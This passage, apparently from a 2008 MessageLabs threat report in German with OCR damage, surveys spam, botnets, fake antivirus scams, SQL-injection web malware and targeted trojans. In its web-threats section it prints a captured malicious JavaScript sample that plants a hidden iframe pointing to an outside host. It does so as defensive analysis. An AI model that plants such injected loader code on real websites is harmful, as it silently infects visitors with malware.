aktuellen Ansatze auch langfristig eine Zukunft haben. Gleichzeitig werden einige Seiten dazu
Ubergehen, alternative CAPTCHA-Methoden zu nutzen, bei denen Besucher animierte und
unbewegliche Buchstaben unterscheiden missen. Ein weiteres Beispiel ist das von der
Microsoft-Forschung entwickelte Asirra. Dabei handelt es sich laut Hersteller-Website um
einen ,interaktiven Test, der Anwender auffordert, Fotos von Katzen und Hunden zu
identifizieren®. Grundlage ist eine Datenbank mit mehr als drei Millionen Fotografien. Andere
Online-Anbieter werden in ahnlicher Manier auf raffiniertere CAPTCHAs umstellen, bei denen
User nicht mehr Buchstaben und Zahlen, sondern Objekte erkennen sollen.

Die Globalisierung der Spam-Wirtschaft

Zu den groten Wachstumsmarkten fur Breitband-Anschlisse gehoéren Brasilien, Russland,
Indien und China und als solche bieten sie Cyber-Kriminellen ungeheure Mdéglichkeiten. Im
Laufe des Jahres 2008 hat China die Vereinigten Staaten im Hinblick auf die Zahl der Internet-
Anwender (iberholt*. Angesichts dieser exorbitanten Steigerungsraten und erster Spam-
Kostproben geht MessageLabs Intelligence davon aus, dass diese aufstrebenden
Volkswirtschaften im Jahr 2009 schwerer unter Beschuss von Spam in ihrer jeweiligen
Landessprache stehen werden. Das Aufkommen von Spam-Mails, die mit anderen
Zeichensatzen insbesondere aus dem asiatischen Raum verfasst sind, wird um bis zu 100
Prozent steigen. Ihr Anteil wird von derzeit etwa 5 Prozent auf rund 10 Prozent zulegen. Seit
Juni 2008 hat der Anteil des englischsprachigen Spams von 90 Prozent auf 80 Prozent
abgenommen, wahrend Werbe-Mails in anderen Sprachen ein steigendes Aufkommen
vorweisen kdnnen und so diese Licke schlie3en.

11 Ende Juni 2008 war die Zahl der Netizens in Chind 253 Millionen gestiegen und tibertraf damit jelee Vereinigten
Staaten als bisheriger Nummer eins in der WeltErgebnisse einer Studie des China Internet Netwddemation Center
(CNNIC) vom Juli 2008.



Angriffe Gber Social-Networking-Portale werden indi vidueller

Populare Social-Network-Portale werden sich weiter Angriffen und dem Missbrauch durch
Internetkriminelle ausgesetzt sehen. Jedoch durften diese nun erheblich mehr Professionalitat
an den Tag legen, um ihr Ziel zu erreichen. Und dieses besteht darin, als Datengrundlagen fur
sehr gezielte und individuelle Spam-Kampagnen und Phishing-Angriffe mdglichst viele
persodnliche Daten zu den einzelnen Kontakten in der Online-Community zusammenzutragen.
2009 werden Spam-Mails die korrekten Namen der Adressaten nennen und verstarkt unter
Berucksichtigung demografischer und weiterer nachfragerelevanter Kriterien gegliedert. Die
verbreiteten Werbe-Botschaften werden aul3erdem kirzer ausfallen, da auf diese Weise
weniger Inhalte die Spam-Filter unbeanstandet passieren missen. Und ein Teil des Spams
wird seriose Newsletter und andere spezielle Online-Angebote nachahmen.



4 Malware: Die grofdten Gefahren im Jahr 2008

4.1 Das Malware-Resiimee

Ein Blick auf die Entwicklung der per E-Mail verbreiteten Malware zeigte, dass die
Schadprogramm-Quote nach einem anfanglichen Rickgang infolge der Schwachung des
Storm-Botnets im April 2008 im spateren Verlauf des Jahres wieder angestiegen ist. Im
Berichtsjahr enthielt 1 von 143,8 E-Mails (0,70 Prozent) eine Malware. Im Jahr zuvor hatte
dieser Anteil noch 1 zu 117,7 (0,85 Prozent) betragen. Dies liefert einen Hinweis darauf, dass
Hacker zunehmend nicht mehr die E-Mail als vorrangigen Verteilungsmechanismus betrachten
und stattdessen dazu ubergegangen sind, auf die Malware-Verbreitung Uber in Websites
eingebettete Schadprogramme und die Installation nach dem Drive-by-Prinzip zu setzen.
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Durchschnittlicher weltweiter Anteil von Malware am E-Mail-Verkehr.

2008 haben sich Botnets bzw. Robot erNetzwerke gegentber dem vorangegangenen Jahr
wesentlich weiterentwickelt. Der Einsatz von mehrstufigen Trojaner-,Droppern®, die sich mittels
einer Vielzahl denkbarer Verfahren von der Drive-by-Schadprogramminstallation Uber Social-
Networking-Seiten bis hin zu Instant Messaging auf die Rechner der Opfer aufspielen lassen,
fuhrte im Berichtsjahr zu einer Welle von Malware-Gefahren. Und das galt insbesondere fir
das Surfen im Internet.

In der ersten Halfte des Jahres 2008 haben Kriminelle die Anfalligkeiten und
Sicherheitsmangel von Web-Applikationen ausgenutzt, um Internet-basierende Malware in
starkerem Mal3e als bisher zum Einsatz zu bringen. Es waren neue Toolkits verfugbar, die in
der Lage sind, Websites mit Sicherheitsdefiziten zu erkennen und ins Visier zu nehmen. Zu
den jungeren Beispielen fur derartige Angriffe z&hlen umfassende SQL-Injection-Attacken, mit
denen sich datenbankgestitzte Websites so manipulieren lassen, dass diese ihren Besuchern
schadliche JavaScript-Inhalte anzeigen.

2008 stieg die Zahl der neuen gefahrlichen und deshalb zu sperrenden Websites, die pro Tag
im Durchschnitt entdeckt wurden, auf 2.290. Im Jahr zuvor waren es noch 1.253 gewesen.
Das entspricht einem Anstieg um 82,8 Prozent im Jahresvergleich.
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Dieses Kurvendiagramm veranschaulicht die Zunahme von Web-basierenden
Schadprogrammen im Jahr 2008.

Im Juni 2008 stieg die durchschnittliche Zahl der taglich zu sperrenden Malware-Websites um
58 Prozent auf 2.076. Damit erreichte diese Bedrohung ihr grof3tes Ausmal3 seit April 2007.
Mit Beginn der zweiten Jahreshélfte standen weitaus mehr dieser geféahrlichen Internet-
Prasenzen im Zusammenhang mit SQL-Injection-Attacken gegen anfallige Webserver
eigentlich seridser und vertrauenswaurdiger Seiten. Im Juli 2008 entfielen infolge dieses
Anstiegs an SQL-Injection-Angriffen 83,4 Prozent der abgefangenen Internet-Malware auf
neue Websites. Im Oktober 2008 war ein weiterer Anstieg der im Tagesdurchschnitt zu
sperrenden Internetseiten auf den bisherigen Hochststand von 5.424 zu verzeichnen.

4.2 Neue Techniken, Veranderungen etc.

Der Anteil der per E-Mail verbreiteten Malware-Angriffe, die Uber Links zu entsprechenden
Websites verbreitet wurden, erreichte seinen Jahreshdchststand mit 61,1 Prozent im Februar.
Fur 96 Prozent der abgefangenen Angriffe war dabei das Botnet Storm verantwortlich, das
seine Malware-Aktivitaten gleich zu Beginn des Jahres intensiviert hatte. Die Gefahr, dass
solche Links tiber andere Kommunikationskanéle in Unternehmen eindringen kdnnen, ist
Anlass fur eine wachsende Besorgnis seitens der Wirtschaft. Dies betrifft insbesondere
Webmail-Dienste, Instant Messaging und das Surfen im Internet.

In der zweiten Halfte des Jahres 2008 nutzten viele der abgefangenen Schadprogramme auch
kostenpflichtige polymorphe? und metamorphe®® Lésungen zum Software-Selbstschutz, um
ihre wahre Natur zu verschleiern. Diese im Handel erhaltlichen Protektoren kommen vielfach
zum Einsatz, um zu verhindern, dass irgendjemand den Programmcode einer in kommerzieller
Absicht entwickelten Software direkt in Augenschein nehmen oder manipulieren kann. Dazu
verschlisseln solche Losungen die betreffenden Applikationen und erschweren es, deren
Bestimmung zu ermitteln. Eine auf diese Weise geschitzte Anwendung kann eine
Ablaufumgebung zunachst dahingehend prifen, ob dort Dissembler und Decompiler

12 polymorph meint, dass unter Riickgriff auf unteisdiiche Verschliisselungstechniken diverse Vaneiodes Software-
Codes vorhanden sind.

13 Metamorpher Software-Code ist in der Lage, sithssén abgewandelter Form neu zu schreiben urgtagrammieren,
ohne an der Befehlsfolge etwas zu andern.



vorhanden sind. Erst wenn eine Selbstschutz-Losung vollends tberzeugt ist, dass alles sicher
ist, wird sie die Entschlusselung des Programms vornehmen und dieses normal zum Ablauf
freigeben.

Seriose Anwender dieses Verfahrens haben es darauf abgesehen, Applikationen gegen
Softwarepiraterie zu schitzen und Unbefugte daran zu hindern, Anwendungen zu
dekompilieren oder zu modifizieren und so deren Funktionsweise zu verandern.

»Antivirus XP 2008” — Bésartige Bots im Aufwind

Eine neue Welle an Malware, die erstmals im Juli 2008 bemerkt wurde und vom im
Abschwung befindlichen Botnet Storm ausging, stach in mehrerer Hinsicht heraus. Zum einen
machte sie Gebrauch von Schlagzeilen, die Prominente in Skandale verwickelt oder auf
ungewohnliche Weise zu Tode kommen sahen. Zum anderen enthielt dieser neue Schub an
Spam-Mails jeweils Links, bei deren Aufruf sich ,Antivirus XP 2008" installierte: ein als
vermeintlicher Virenwachter getarnter Trojaner, der sich ohne Zutun eines Anwenders auf
dessen Rechner aufspielen lasst.

Im Juli standen rund ein Drittel aller abgefangen, auf Schadprogramme verweisenden Links in
Verbindung mit ,Antivirus XP 2008”. Seither wurden Spam-Mails mit Links zu dieser bosartigen
Software auch Uber andere Botnets verbreitet, darunter Srizbi, Rustock und Mega-D.

Beispiel fur einen angeblichen Virenfund durch ,Antivirus XP 2008” auf einem frisch
installierten Windows-XP-System.



Es wird vermutet, dass die bdsartige Software von ,Antivirus XP” ihren Ursprung in Russland
hat. Beworben und vermarktet wurde sie durch ein mutmalfilich kriminelles Netzwerk tber eine
Online-Plattform namens Bakasoftware.com, die im Rahmen ihres Partnerschaftsprogramms
allen Affiliates erhebliche Erldse aus jeder Installation verspricht. So heil3t es auf der Website
unter anderem: ,Mit dem Partnerschaftsprogramm Bakasoftware kdnnen Sie mit Leichtigkeit
populére Software verkaufen und 90 Prozent des Verkaufswertes verdienen.” (,,
Bakasoftware
90% )

Sobald die bdsartige Koder-Software erst einmal auf einem Rechner installiert ist, tduscht sie
einen Suchlauf vor und zeigt anschlielend eine Reihe von Virenfunden an. Diese liel3en sich
angeblich jedoch nur entfernen, wenn der Anwender die Software fir eine Nutzungsgebuhr
von 49,95 britischen Pfund (also rund 100 US-Dollar) kauft. Bei spateren Angriffen tauchte der
falsche Virenwachter hin und wieder auch unter anderen Namen wie ,Win Antispyware 2008”
und ,XP Antivirus 2009” auf.

Im August 2008 handelte es sich bei 64 Prozent aller Malware-E-Mails um angebliche Online-
Gluckwunschkarten und -Gruf3karten. Diese enthielten vielfach Links zu einem kleinen
Trojaner-Dropper, der ebenfalls darauf ausgerichtet war, ein hinterlistig als Virenwachter
getarntes Schadprogramm zu installieren. Die Werbetrommel fiir die bésartige Software wurde
in diesem Fall mit Spam-Mails gerihrt, die Bilder aus im Internet hinterlegten Fotoalben
enthielten. Diese ihrerseits nutzten den Serverplatz, den seriése Anbieter von kostenlosen
Webmail-Diensten und Online-Anwendungen zur Verfigung stellten.



4.2.1 Botnets — Entwicklungen (Teil 2: Malware)

Seit dem Entstehen von Storm im Januar 2007 ist es fur die Anbieter von IT-Sicherheit-
Losungen in aller Welt stets in gewisser Weise ein Ratsel geblieben, welche Grof3e und
Reichweite dieses Botnet tatsachlich hatte. Einige Berichte wiesen darauf hin, dass das
Netzwerk schrumpfe und von neueren Botnets Uberfligelt wiirde. Andere behaupteten, dass
Storm einfach ruhige Phasen durchlaufen hatte, bevor das Botnet wieder aufristen wirde, um
sich dem Wettbewerb mit neueren, mittlerweile auf den Plan getretenen Konkurrenten zu
stellen.

Irgendwann hatte Storm eine Partitionierung in mehrere kleinere, etwas diskretere Abschnitte
erfahren. Diese wurden jeweils an unterschiedliche Spammer vermietet, blieben jedoch
weiterhin Bausteine desselben groRen Botnets. Uber die Verbreitung von Spam hinaus
wurden einige Teile des Netzwerks auch dazu genutzt, um Schadprogramme zu verteilen und
Phishing-Attacken zu lancieren.

Im April 2008 berichtete MessageLabs Intelligence, dass das Botnet Storm auf 5 Prozent
seiner urspringlichen GrélRe geschrumpft sei. Im Mai 2008 gingen dem Unternehmen jedoch
mehr als 81.000 Exemplare eines Schadprogramms ins Netz, dessen Kennzeichen jenen
friherer Storm-Attacken ahnelten. Auf diesen Angriff entfielen rund 12 Prozent der mit
Skeptic'* abgefangenen Malware. Der Download der geféhrlichen Software erfolgte jeweils mit
Hilfe eines Links, der Uber bereits vom Storm-Botnet unter Kontrolle gebrachte Computer ins
Internet gestellt wurde.

Die besagten Websites verwendeten den schlanken Open-Source-Webserver ,nginx”. Diese
eigentlich nur fur Unix und vergleichbare Betriebssysteme verfligbare Software war auf
Windows portiert wurden und diente nun also dem Storm-Botnet zum Hosting von Internet-
Inhalten. Nginx gilt als seriéser Server, der von vielen Websites verwendet wird, auch wenn er
nicht so beliebt und bekannt ist wie beispielsweise Apache und andere Open-Source-
Losungen. Als schlanker und funktioneller Webserver bringt Nginx aber zwei Qualitaten mit,
die fur jedes Botnet sehr attraktiv sind, das Content unters Volk bringen will.

Neue Varianten von Storm tauchten Juli 2008 im Vorfeld des alljghrlich am 4. Juli gefeierten
Unabhangigkeitstages in den USA auf. Diesmal verbreitete das Botnet die Falschmeldung,
dass die Vereinigten Staaten eine Invasion im Iran anfiihren wirden. Die verschickten E-Mails
enthielten jeweils Links zur Storm-Malware. Getarnt waren diese als angebliches Bildmaterial
von dem erfundenen Ereignis.

14 Skeptidst eine in ihrer Form einzigartige Pradiktiv- uRtdihwarn-Technologie, die Symantec entwickelt hat,neue und
bisher unbekannte Gefahren auf Internet-Ebene spizan, sowie ein eingetragenes Markenzeichen yoraftec
(weiterfihrende Informationen finden sich unter sagglabs.com/technology/skeptic).



4.2.2 Gefahren der Internet-Nutzung

Im Jahr 2008 stand die Zahl der abgefangenen Spyware und Adware durchweg im Schatten
einer Verlagerung der Aktivitdten auf Web-basierende Malware. Letztere hat an Attraktivitat fur
Cyber-Kriminelle zugelegt, welil sie diesen die Mdglichkeit bietet, Profit aus dem fehlenden
Wissen vieler Anwender um die Gefahren des Surfens im Internet zu schlagen.

Malware existiert seit mehr als 20 Jahren und hat sich rasant weiterentwickelt, seit das Internet
allgegenwartig geworden ist, wobei die Urheber solcher Schadprogramme stetig neue
Angriffsformen rund um die jeweils aktuellen Technologien aufgreifen. Web-basierende
Malware hingegen ist eine jungere Erfindung, die sich zu ihrer Verbreitung von Beginn an des
Internets bedient hat. Sie zielt darauf ab, Sicherheitsliicken von Browsern und Webservern
auszunutzen, um etwa Trojaner zu installieren oder andere Internetprasenzen unter Beschuss
zu nehmen, wie dies beispielsweise im Jahr 2001 mit ,Code Red" und ,Nimda"“ der Fall war.

2008 haben Kriminelle die Schwachpunkte und Sicherheitsdefizite von Internet-Anwendungen
in grélRerem Umfang ausgenutzt, um Web-basierende Malware zu verbreiten. Es sind nun
neue Werkzeugkasten mit Software-Tools verfiigbar, die unsichere Internetseiten automatisch
aufspuren und angreifen. Zu den aktuelleren Beispielen fiir solche Attacken zahlen unter
anderem breit angelegte SQL-Injection-Angriffe, die den Inhalt von datenbankgestitzten
Websites manipulieren, um gefahrliche JavaScript-Programme auf die Computer von
Besuchern dieser Seiten zu schleusen.

Auch die technische Raffinesse derartiger Angriffe hat zulegt. In der Vergangenheit umfassten
die verwendeten Methoden den Ruckgriff auf schadlichen HTML- und JavaScript-Code.
Jungere Attacken indes zielen auf die Anfélligkeiten von Web-Applikationen ab. Das betrifft
Server-basierende Anwendungen wie Blogging-Portale ebenso wie auf Client-Seite installierte
Software einschliel3lich Flash-Dateien. Zur Folge haben diese Techniken, dass sich Malware
auf einem Rechner installiert, nur weil dieser eine Website besucht.

In der zweiten Halfte des Jahres zeigten jene Botnets sehr grol3e Aktivitat, die wie
beispielsweise ASPROX speziell dafiir konzipiert wurden, anfallige Websites mit schadlichem
JavaScript-Code zu manipulieren. Die Zahl der geféahrlichen Internetseiten stieg von rund
1.000 pro Tag im Januar 2008 auf mehr als 5.000 pro Tag im Oktober 2008.

Die JavaScript-Malware |adt sich auf die Rechner von Besuchern herunter, da die Websites
jeweils HTML-Code dieser Art enthalten: <SCRIPT SRC=http://www.[removed]/ngg.js />



window.status=""; n=navigator.userLanguage.toUpperC ase(); if((n!="ZH-CN") &&
(n!="ZH-MO") && (n'="ZH-HK") && (n!="BN") && (n!="G U") && (n!="NE") && (n!="PA")
&& (n'="ID") && (n!'="EN-PH") && (n'="UR") && (n!="R U") && (n!="KO") && (n!="ZH-
TW") && (n!="ZH") && (n!="HI") && (n!="TH") && (n!= "VI")){var cookieString =
document.cookie; var start = cookieString.indexOf(" vlgoo="); if (start 1= -1) {}

else {var expires = new Date(); expires.setTime(exp ires.getTime()+9*3600*1000);
document.cookie = "vlgoo=update; expires="+expires. toGMTString(); try {
document.write  ("<iframe src=http://[redux].ru/cgi-bin/index.cgi?a d width=0
height=0 frameborder=0></iframe> "); } catch(e) {}; }}

Beispiel fur gefahrlichen JavaScript-Code, der auf einer infizierten Website gefunden wurde.

Dieses kleine Programm wurde Ublicherweise bereits zuvor tber Sicherheitsliicken des
Webservers in die im Hintergrund aktive SQL-Datenbank injiziert, um die ausgewahlte Website
mit Content zu futtern. Haufig liegt die JavaScript-Datei selbst auf einem anderen Webserver,
wo sie vom Browser eines Computerbesitzers ausgefuhrt wird, der die Seite besucht. In vielen
Fallen wurden auf diese Weise seriose Websites manipuliert und fir das Hosting von
JavaScript-Schadprogrammen missbraucht. Dies betraf auch Seiten mit der Toplevel-Domain
mobi, die der Bereitstellung von Mobilfunkdiensten fur tragbare Endgeréte vorbehalten ist.

Im Oktober 2008 stieg die Zahl der mittels SQL-Injection und Cross-Site-Scripting™
angegriffenen Internetseiten weiter. Das ungefahr 100.000 Knoten umfassende Botnet
ASPROX wurde speziell dafur aufgebaut, sich Uber SQL-Injection-Attacken auszubreiten.
Zudem ist es fur mehrere der derzeit laufenden Phishing-Angriffe verantwortlich, die sich
insbesondere gegen renommierte Finanzinstitute in Grof3britannien richten.

Wie sich bereits in der Vergangenheit bei der Verbreitung von Malware tber E-Mails gezeigt
hatte, sinken mit der Verfugbarkeit von entsprechenden Toolkits die Einstiegshirden fir Web-
Betriger und das Mal3 an Bedrohung steigt. Und dieser Trend setzt sich fort, weil nun auch
wenig IT-affine Kriminelle mehr und mehr die Méglichkeit erhalten, mit einem Minimum an
technischem Know-how ihre eigenen Angriffe auf anféllige Websites zu gestalten.

4.2.3 Richtlinien-Durchsetzung — Gesetzliche Haftung und ungesicherter Web-
Zugriff

Fur 2008 ergab die Analyse von Statistiken zum MessagelLabs URL-Filter-Service von
Symantec, dass mehr Unternehmen ihrem Personal den Zugriff auf unangemessene Websites
wie etwa Pornoseiten verwehren, um firmeneigene Benutzungsrichtlinien fur das Internet
durchzusetzen und die Mitarbeiterproduktivitat zu wahren.

15 Cross-Site-Scripting (XSS) bezeichnet eine bei Mdsterenden Anwendungen auftretende Sicherheits| ok es
Angreifern ermaoglicht, eigenen Software-Code inSkéen einzuschleusen, die den Besuchern angessigen.
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Dieses Balkendiagramm veranschaulicht das Aufkommen an Pornoseiten-Aufrufen durch
Mitarbeiter im Verlaufe eines Werktags (weltweit).

Fast ein Drittel der unterbundenen Zugriffe auf nicht jugendfreie Websites erfolgte in den
Mittagsstunden und 85 Prozent wahrend der Ublichen Birozeiten.

4.2.4 Malware-Verbreitung uber soziale Online-Netzwerke

Online-Kriminelle haben auch nach anderen Wegen gesucht, tiber die sie Unternehmen
infiltrieren kdnnen, und dabei haben sie insbesondere auf Methoden des Social Engineerings
gesetzt, um ihre Opfer zu Uberlisten. Eine besonders beliebte Herangehensweise besteht
darin, auf einem Portal zur Kontaktpflege im Internet ein geféalschtes Nutzerprofil anzulegen
und dieses zu verwenden, um gefahrliche Links zu posten und die Daten anderer Mitglieder
auszukundschaften.

Web-Betruger konnten ihre geféahrlichen Inhalte verbreiten, indem sie Blogs mit Kommentaren
Uberh&auft haben, die Links zu Malware-Websites enthielten. Das Phishing von
Authentisierungsdaten fur echte, zu realen Mitgliedern gehérende Social-Networking-Accounts
ermoglicht es Spammern, Kommentare auf den Seiten anderer Kontakte zu hinterlassen und
mit einer gestohlenen Identitat Nachrichten an weitere User zu verschicken.

Solche Botschaften werden h&aufig genutzt, um Spam zu verbreiten, darunter auch Links zu
klassischen Spam-Seiten wie beispielsweise Online-Shops fir Medikamente. In einigen Fallen
wurden mit dem Spam auch gefahrliche Nachrichten beférdert, die Links zu hinterhaltigen
Websites enthielten, auf denen Schadprogramme hinterlegt waren.

Sobald es Trickbetrigern gelungen ist, sich Zugriff auf echte, vertrauenswurdige
Benutzerprofile zu verschaffen, kdnnen sie die dort gefundenen persénlichen Daten fur

-850 -



effektivere gezielte Attacken auf diese User nutzen. Mitunter lassen sich auch Informationen
wie die Handynummer und E-Mail-Adressen einfach auslesen.

In diesem Beispiel wurde ein mittels Phishing Gbernommener Account genutzt, um E-Mails mit
Links zu Malware-Websites zu verschicken.

Wird der in diese E-Mail eingefiigte Link angeklickt, landet der Browser auf einer
vermeintlichen Video-Seite, meldet aber auch, dass sich diese erst nach Aufspielen eines
neuen Codecs betrachten lie3e. Startet der Adressat nun den Download, flhrt dies dazu, dass

sich eine unerwiinschte und moglicherweise schadliche Software auf seinen Rechner
herunterladt und installiert.



Beispiel fur die Einbettung gefahrlicher Inhalte in ein getirktes Video-Portal.

Unter anderem standen diese Angriffe haufig in Verbindung mit der jingsten Version des
bdsartigen angeblichen Virenwachters ,Antivirus XP 2008“, der MessagelLabs erstmals im Juli
2008 aufgefallen war.

Lockmittel im ,Web 2.0” Toolkits erleichtern den Einstieg in den Trickbetrug

Im ,Web 2.0” dreht sich alles um von Usern selbst erstellte Inhalte, und Seiten zum Austausch
von Multimedia-Content haben enorm an Popularitdt gewonnen. Die Moéglichkeit, aufregend
erscheinende Inhalte als Lockmittel hochzuladen und andere zu deren Aufruf zu verleiten, ist
zu einer der grof3ten Starken von Online-Kriminellen geworden.

Verfugbar sind nun Bauk&sten, mit denen Betruger auf einfach Weise getirkte Inhalte fur die
grol3en Video-Portale im Internet erstellen konnen. Nutzen lasst sich dieser Content dann, um
andere User im Glauben, gleich einen spannenden Clip zu sehen, zum Download eines
Schadprogramms zu animieren.



4.3 Gezielte Attacken

Gezielte Trojaner haben es haufig auf ganz bestimmte Personen innerhalb eines
Unternehmens abgesehen, um auf diesem Wege in deren Firmennetzwerke eindringen und
Wirtschaftsspionage begehen zu kénnen. Jeder dieser Angriffe umfasst nur wenige
verschickte Mails und macht sich hochgradig ausgekligelte Techniken des Social
Engineerings wie beispielsweise die Personalisierung von Inhalten zunutze, um die
Adressaten dazu zu verleiten, die Nachrichten und deren Anhang zu 6ffnen.

Derartige Attacken unterscheiden sich durch ihr charakteristisches Profil und konzentrieren
sich jeweils bewusst auf einen kleinen Kreis von Opfern, um mdéglichst unbemerkt zu bleiben
und dem Radar herkbmmlicher Antiviren-Systeme zu entgehen.

Wie sehr diese Art von Angriffen an Bedeutung innerhalb der Gefahrenlandschaft gewonnen
hat, zeigen folgende Erhebungen von MessagelLabs Intelligence: 2005 wurden 1 bis 2
derartige Attacken pro Woche entdeckt, 2006 waren es 1 bis 2 pro Tag und Anfang 2007 dann
10 pro Tag. Die jungsten Statistiken von MessagelLabs Intelligence belegen, dass die Zahl der
gezielten Angriffe ihren Jahreshdchststand mit 78 pro Tag im April 2008 erlebt hatte und sich
Uber das gesamte Jahr hinweg betrachtet auf durchschnittlich 53 pro Tag belief.

0
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Um serids zu wirken, greifen Cyber-Kriminelle eine ganze Reihe unterschiedlicher Taktiken
auf. Eine Mdglichkeit besteht darin, angehéngte Office-Dokumente so zu manipulieren, dass
diese vorgeblich von einer Person verfasst wurden, mit der ihr Adressat bereits zuvor Kontakt
hatte. In anderen Fallen haben die gewahlten Betreffzeilen eine Bedeutung fir den
Empfanger. Das weist darauf hin, dass die Angreifer ihre Opfer zuvor beobachtet und
ausspioniert haben, und moglicherweise wurden dazu die Mdglichkeiten von Social-
Networking-Angeboten genutzt.

Die Olympischen Spiele von Peking

Im August 2008, als alle Welt auf die Olympischen Spiele in Peking schaute, wurden in deren
Austragung involvierte Organisationen zu attraktiven Zielen fir Internet-Kriminelle. Uber das
gesamte Jahr hinweg hat MessageLabs Intelligence immer wieder Belege flir gezielte
Malware-Angriffe entdeckt, die tUber serios wirkende E-Mails verbreitet wurden, die angeblich
von den Veranstaltern der Spiele stammten und an Sportverb&nde und -funktionare der
Teilnehmerlander adressiert waren.

Diese Bedrohung kulminierte in einem Angriff'® am 24. Juli 2008. Ingesamt wurden 57 E-Mails
an unterschiedliche Adressen von 19 Domains verschickt'’, und jede dieser Nachrichten
enthielt eine Pressemitteilung und weitere Informationen fur Journalisten zu den Olympischen
Spielen. Offenbar wurden die Inhalte einfach von der offiziellen Website der Veranstaltung
Ubernommen.

8 Mehr zu diesem Angriff findet sich unter:
www.messagelabs.com/mlireport/MLISpecialReport_20880lympicTargeted_Final.pdf

" Detaillierte Informationen zu diesen Vorfallen lasssich unter folgender Adresse nachlesen:
www.vnhunet.com/vnunet/news/2223416/malware-wrjtécg-olympics



Beispiel fur einen gezielten Trojaner, bei dem die verschickte E-Mail angeblich von einer an
der Ausrichtung der Olympischen Spiele beteiligten Organisation stammte und ein gefahrliches
PDF-Dokument enthielt.

Versteckt hatten die Urheber das Schadprogramm in einem Dateianhang. Dabei hatten sie
eingebetteten JavaScript-Code verwendet, der als Dropper eine ausfihrbare Malware auf dem
Zielcomputer installierte. Diese diente zur unbemerkten Weitergabe vertraulicher
Informationen an Unbefugte. Die meisten herkdmmlichen, auf dem Abgleich mit Signaturen
beruhenden Antiviren-Losungen waren nicht in der Lage, derartig spezialisierte Angriffe wie
diesen zu erkennen und aufzuhalten.

Verscharft wurde die Problematik dadurch, dass einige der ungeschuitzten Adressaten die E-
Mail und deren Anhang als vertrauenswurdig einstuften und diese unschuldigerweise an
andere Medien und Sportorganisationen weitergeleitet haben.



Wirtschaftsspionage

In @hnlicher Weise an Komplexitat zugelegt haben im Laufe des Jahres 2008 halbgezielte
Angriffe, bei denen der Angreifer zumindest einige zusatzliche Informationen zu den
Adressaten erkundet hat, um seine Attacke im Sinne eines Social Engineerings abzurunden.

So wurde beispielsweise im Februar 2008 ein neuer Angriff entdeckt, deren Urheber sich als
US-amerikanische Verbraucherschutzorganisation tarnten und sich auf eine angeblich gegen
den jeweiligen Adressaten eingereichte Beschwerde bezogen. Betroffen war eine eigentlich
vollig seridse Institution, die gegriindet worden war, um das Vertrauen zwischen Unternehmen
zu fordern, Daten zur Zuverlassigkeit von Firmen zu sammeln und etwaigen Missbrauch publik
zu machen.

Die besagte Attacke umfasste ungeféhr 900 gezielte Trojaner, die an namentlich
angesprochene, hochrangige Fuhrungskrafte von Unternehmen in aller Welt adressiert waren.
Die verschickten E-Mails enthielten jeweils den vollstdndigen Unternehmens- und
Empfangernamen. Offensichtlich waren diese Daten zuvor auf einem grof3en Social-
Networking-Portal zusammengetragen worden. Zudem umfasste die E-Mail auch einen Link zu
der offiziellen Website der Organisation, der mit deren Suchmaschine verknipft und so
aufgebaut war, dass er Besucher automatisch zur Internetseite eines bestimmten Partners in
Sachen Verbraucherberatung fihrte.

Die betreffende Partnerseite war von den Angreifern bereits im Vorfeld ihrer Attacke
unterwandert worden. Wer dem Link folgte, wurde von dieser deshalb gleich auf eine andere
Website weitergeleitet, die ihrerseits versuchte, den Browser des Besuchers mittels Exploit-
Code zu manipulieren. Wenn dies scheiterte, wurde der Adressat stattdessen gebeten, eine
Adobe-Acrobat-Komponente herunterzuladen, um sich die vermeintliche Beschwerde ansehen
zu kénnen. War dies von Erfolg gekront, nistete sich ein Spionage-Trojaner auf dem
Zielcomputer ein. Derartige Techniken unterstreichen, wie weit Kriminelle mittlerweile bereit
sind zu gehen, um ihre Opfer zu Uberlisten.

Manipulation von Jobvermittlungsseiten

In einem weiteren Fall vom 28. Mai 2008 spiirte MessageLabs Intelligence eine Malware-
Attacke auf, die sich als Lebenslauf zu einer Job-Bewerbung getarnt hatte, der angeblich von
der Internetseite einer Personalagentur verschickt worden war. Eine genauere Untersuchung
ergab, dass das Dokument tatsachlich durch die E-Mail-Server des fraglichen Unternehmens
Ubermittelt worden war. Denn wie viele andere Anbieter auch erlaubt es die
Jobvermittlungsagentur den Bewerbern, ihre Viten auf die Firmen-Website hochzuladen, von
wo aus diese dann automatisch an interessierte Arbeitgeber verschickt werden.

Die E-Mail erreichte die Adressaten mit einem angehangten Dokument im RTF-Format, bei
dem es sich vermeintlich um einen zu einer Bewerbung gehdrigen Lebenslauf handelte.
Jedoch enthielt dieses Dokument auch eine gefahrliche PDF-Datei, die zur Installation eines
generischen Backdoor-Trojaners fuhrte, sobald sie aufgerufen wurde.



Beispiel fur eine schadliche PDF-Datei, die in einem Uber eine Personalagentur versteckten
Lebenslauf eingebettet war.



4.4 Die Malware-Prognose fur 2009

Mashups halten Einzug bei der Malware

Fur 2009 erwartet Messagelabs Intelligence, dass das Web 2.0 kontextuelle Malware
gedeihen lasst. Solche Schadprogramme filhren mehrere dynamische Datenstrome
zusammen, um aus diversen, eigentlich unverbundenen Quellen eine gefahrliche Online-
Umgebung zu realisieren. Auf sich allein gestellt bedeuten die involvierten Streams keine
Bedrohung, aber in ihrem Zusammenspiel lassen sie sich verwenden, um Malware-Attacken
zu erzeugen. Normalerweise versetzen Mashups einen Anwender in die Lage, Daten von
mehreren Websites an einem Ort zu kombinieren. Doch wird ein XML-Stream, der scheinbar
harmlose Daten enthalt, im passenden Kontext verarbeitet, lassen sich mit ihm durchaus auch
gefahrliche Attacken konstruieren.

Auf ahnliche Weise wird 2009 auch Malware-as-a-Service in Erscheinung treten und Gaunern
die Mdglichkeit erdffnen, Uber automatische Bestellsysteme im Internet verzégerungsfrei exakt
die Art von Schadprogramm zu beziehen, die sie aktuell bendétigen. Und schlief3lich ist auch
damit rechnen, dass die Prasenz und Verflugbarkeit von Malware weiter steigt. Denn Hacker
werden sich neue und schnellere Verfahren zunutze machen, um ihre Schadprogramme
laufend so zu modifizieren, dass diese selbst von neuesten Virenfiltern nicht entdeckt werden.

Die Renaissance der Botnets

2009 werden die bedeutenden Botnets den Versuch unternehmen, zu alter Starke
zurlckzukehren. Es ist davon ausgehen, dass sie neue Hosting-Provider in Landern wie
Russland, Brasilien oder China finden und zudem auch rasch Verbesserungen der ihnen
zugrunde liegenden Technologien herbeifihren werden. So entsteht als Vorhut eine neue
Botnet-Avantgarde.

Die raffiniertesten Botnets werden sich in Form der Hypervisor-Technologie manifestieren.

